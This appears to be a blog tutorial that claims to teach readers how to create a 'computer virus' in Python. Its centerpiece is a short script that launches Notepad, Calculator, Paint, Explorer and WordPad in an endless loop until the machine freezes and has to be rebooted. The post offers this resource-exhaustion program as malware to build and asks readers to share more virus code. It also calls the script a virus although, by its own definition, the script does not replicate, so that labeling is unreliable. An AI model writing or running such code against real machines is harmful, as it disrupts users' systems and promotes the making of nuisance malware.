Create a simple computer virus using Python

Hello everyone, nowadays on the internet, there are countless publications detailing how to create a computer virus or malware using python. But do they truly function? Do the python codes or programmes that have been demonstrated online actually work? 

The truth is that many of them are full-on frauds, while others are not frauds. Well, today we will demonstrate how to create a simple computer virus using python.

This tutorial is for education purposes only and is not intended to promote any illegal activities. The author will not be held responsible for any misuse of the information provided.

Before we get started, let me first explain to you about python programming and a computer virus. This is just a piece of basic information about the topics.

What is Python?

Python is a powerful high-level, object-oriented programming language created by Guido van Rossum. It has simple and easy-to-understand syntax, making it perfect for someone learning computer programming for the first time.

What is Computer Virus?

A computer virus is a specific kind of harmful software programme (sometimes referred to as "malware") that, when run, reproduces by copying its own source code or infects other programmes by changing them. Data files or the hard drive's "boot" sector can also infect computer programmes. The damaged areas are then referred to as being "infected" with a computer virus when this replication is successful.

The Program

import subprocess
from time import sleep
while True:
    subprocess.Popen('notepad')
    subprocess.Popen('calc')
    subprocess.Popen('mspaint')
    subprocess.Popen('explorer')
    subprocess.Popen('write')
    sleep(.05)

This program or code is more of a freeze-your-computer program, like an endless while loop in python. This can make your system unresponsive.

The only way is there to stop this, switch off your PC and restart it again, after that your PC will be fine

Congratulations, you have learned how to create a simple computer virus using python. If you know more programs or codes for creating computer viruses, then do let us know in the comment section.
